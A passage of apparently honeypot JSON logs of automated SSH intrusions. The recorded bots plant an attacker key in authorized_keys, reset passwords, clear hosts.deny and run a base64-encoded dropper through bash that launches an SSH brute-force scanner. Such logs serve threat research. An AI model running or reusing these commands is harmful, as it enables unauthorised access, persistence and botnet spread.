~"},{"seq":3,"at":"2026-08-23T08:14:15.830869+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T08:14:15.831938+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T08:14:16.055248+00:00","kind":"input","latency_ms":null,"data":"echo \"root:u1UXnBrj45GV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T08:14:16.280758+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T08:14:16.502391+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T08:14:16.503149+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T08:14:16.726804+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T08:14:17.215754+00:00","kind":"output","latency_ms":488,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-23T08:14:17.440254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T08:14:17.994071+00:00","kind":"output","latency_ms":553,"data":"-rwxr-xr-x 1 root root 148K Jan 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T08:14:18.217854+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T08:14:18.218527+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T08:14:18.441183+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T08:14:18.441691+00:00","kind":"output","latency_ms":null,"data":" 08:14:18 up 3 days, 5:04, 0 user, load average: 0.3, 0.22, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T08:14:18.665082+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T08:14:18.665509+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T08:14:18.889945+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T08:14:18.890408+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T08:14:19.113770+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T08:14:19.114422+00:00","kind":"output","latency_ms":null,"data":"top - 08:14:19 up 3 days, 5:04, 0 user, load average: 0.3, 0.22, 0.35\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T08:14:19.337831+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T08:14:19.338576+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T08:14:19.562576+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T08:14:19.563142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T08:14:19.786805+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T08:14:19.787323+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-23T08:14:20.011093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T08:14:21.034007+00:00","kind":"output","latency_ms":1021,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T08:14:21.259055+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T08:14:21.725842+00:00","kind":"output","latency_ms":466,"data":"24G"},{"seq":33,"at":"2026-08-23T08:14:22.437477+00:00","kind":"input","latency_ms":null,"data":"echo \"root sc@123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T08:14:22.660634+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T08:14:23.067790+00:00","kind":"output","latency_ms":405,"data":""},{"seq":36,"at":"2026-08-23T08:14:23.410153+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T08:14:24.006648+00:00","kind":"output","latency_ms":596,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":38,"at":"2026-08-23T08:14:24.309454+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T08:14:24.888827+00:00","kind":"output","latency_ms":578,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":40,"at":"2026-08-23T08:14:25.400742+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T08:14:25.877774+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T08:14:26.475715+00:00","kind":"output","latency_ms":597,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":43,"at":"2026-08-23T08:14:27.006845+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T08:14:27.610182+00:00","kind":"output","latency_ms":602,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":45,"at":"2026-08-23T08:14:28.081112+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T08:14:28.548309+00:00","kind":"output","latency_ms":465,"data":""},{"seq":47,"at":"2026-08-23T08:15:44.522419+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T08:15:44.523412+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"sc@123","method":"password","accepted":true,"tier":"other"}]} {"id":"25950a94-a394-42f1-b979-f009f0dc92f4","name":"spirited-shaded-rook","protocol":"ssh","channel_kind":"exec","src_ip":"43.130.249.176","src_port":53634,"username":"tuan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":582,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T08:14:07.773215+00:00","ended_at":"2026-08-23T08:14:07.952902+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3850,"events":[{"seq":1,"at":"2026-08-23T08:13:31.201434+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T08:13:31.781865+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T08:13:37.191527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T08:13:37.192459+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T08:13:37.774756+00:00","kind":"input","latency_ms":null,"data":"echo -e \"tuan123\\nVOjNm6vdadza\\nVOjNm6vdadza\"|passwd|bash"},{"seq":6,"at":"2026-08-23T08:13:38.354887+00:00","kind":"input","latency_ms":null,"data":"echo \"tuan123\\nVOjNm6vdadza\\nVOjNm6vdadza\\n\"|passwd"},{"seq":7,"at":"2026-08-23T08:13:38.933961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T08:13:38.934617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T08:13:39.514615+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T08:13:40.260916+00:00","kind":"output","latency_ms":745,"data":" total used free shared buff/cache available\nMem: 15888 2410 11192 19 2285 13163"},{"seq":11,"at":"2026-08-23T08:13:40.842540+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T08:13:41.605466+00:00","kind":"output","latency_ms":762,"data":"-rwxr-xr-x 1 root root 1.1M Aug 20 03:10 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T08:13:42.187729+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T08:13:42.188169+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T08:13:42.770504+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T08:13:42.771107+00:00","kind":"output","latency_ms":null,"data":" 08:13:42 up 3 days, 5:03, 0 user, load average: 0.25, 0.31, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T08:13:43.352726+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T08:13:43.353261+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T08:13:43.934425+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T08:13:43.934709+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T08:13:44.516388+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T08:13:44.517216+00:00","kind":"output","latency_ms":null,"data":"top - 08:13:44 up 3 days, 5:03, 0 user, load average: 0.25, 0.31, 0.25\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T08:13:45.099232+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T08:13:45.099842+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T08:13:45.679841+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T08:13:45.680301+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T08:13:46.261855+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T08:13:46.262323+00:00","kind":"output","latency_ms":null,"data":"tuan"},{"seq":29,"at":"2026-08-23T08:13:46.842707+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T08:13:47.960211+00:00","kind":"output","latency_ms":1116,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T08:13:48.543020+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T08:13:49.024606+00:00","kind":"output","latency_ms":480,"data":"24G"},{"seq":33,"at":"2026-08-23T08:13:50.826794+00:00","kind":"input","latency_ms":null,"data":"echo \"tuan tuan123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T08:13:51.407768+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T08:13:52.023372+00:00","kind":"output","latency_ms":615,"data":""},{"seq":36,"at":"2026-08-23T08:13:53.468242+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T08:13:54.316081+00:00","kind":"output","latency_ms":847,"data":"89\n\n\n\n"},{"seq":38,"at":"2026-08-23T08:13:54.897849+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T08:13:55.322674+00:00","kind":"output","latency_ms":424,"data":"89"},{"seq":40,"at":"2026-08-23T08:13:55.907733+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T08:13:56.492677+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T08:13:57.098919+00:00","kind":"output","latency_ms":605,"data":"89"},{"seq":43,"at":"2026-08-23T08:13:57.680588+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T08:13:58.356230+00:00","kind":"output","latency_ms":674,"data":"89"},{"seq":45,"at":"2026-08-23T08:13:58.938580+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T08:13:59.377296+00:00","kind":"output","latency_ms":437,"data":""},{"seq":47,"at":"2026-08-23T08:14:07.773676+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T08:14:07.774444+00:00","kind":"output","latency_ms":null,"data":"tuan"}],"credentials":[{"username":"tuan","password":"tuan123","method":"password","accepted":true,"tier":"other"}]} {"id":"fbe487c2-e38d-4eca-b4f1-0815e77cb3af","name":"umber-coral-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"107.180.88.176","src_port":32976,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":235,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:17:08.121725+00:00","ended_at":"2026-08-23T06:17:08.182859+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3588,"events":[{"seq":1,"at":"2026-08-23T06:16:45.114788+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:16:45.350114+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:16:48.690222+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T06:16:48.690720+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T06:16:48.928875+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YvbvY6ifK4Pm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T06:16:49.166040+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T06:16:49.361709+00:00","kind":"output","latency_ms":432,"data":""},{"seq":8,"at":"2026-08-23T06:16:49.402562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T06:16:49.403125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T06:16:49.641836+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T06:16:50.141330+00:00","kind":"output","latency_ms":496,"data":" 15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-23T06:16:50.371649+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T06:16:50.907642+00:00","kind":"output","latency_ms":536,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T06:16:51.149754+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T06:16:51.150066+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T06:16:51.398559+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T06:16:51.399309+00:00","kind":"output","latency_ms":null,"data":" 06:16:51 up 3 days, 3:06, 0 user, load average: 0.15, 0.11, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T06:16:51.635881+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T06:16:51.636453+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T06:16:51.868720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T06:16:51.869156+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T06:16:52.101427+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T06:16:52.101876+00:00","kind":"output","latency_ms":null,"data":"top - 06:16:52 up 3 days, 3:06, 0 user, load average: 0.15, 0.11, 0.17\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T06:16:52.331464+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T06:16:52.332195+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T06:16:52.559561+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T06:16:52.560017+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T06:16:52.800736+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T06:16:52.801509+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T06:16:53.036093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T06:16:53.619839+00:00","kind":"output","latency_ms":582,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-23T06:16:53.857439+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T06:16:54.402966+00:00","kind":"output","latency_ms":544,"data":"24.0G"},{"seq":34,"at":"2026-08-23T06:16:55.285718+00:00","kind":"input","latency_ms":null,"data":"echo \"root #Admin123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T06:16:55.525605+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T06:16:55.947005+00:00","kind":"output","latency_ms":420,"data":""},{"seq":37,"at":"2026-08-23T06:16:56.304497+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T06:16:56.907903+00:00","kind":"output","latency_ms":601,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":39,"at":"2026-08-23T06:16:57.140538+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T06:16:57.603607+00:00","kind":"output","latency_ms":462,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":41,"at":"2026-08-23T06:16:57.839910+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T06:16:58.081588+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T06:16:58.630050+00:00","kind":"output","latency_ms":547,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":44,"at":"2026-08-23T06:16:58.861608+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T06:16:59.400649+00:00","kind":"output","latency_ms":534,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":46,"at":"2026-08-23T06:16:59.625655+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 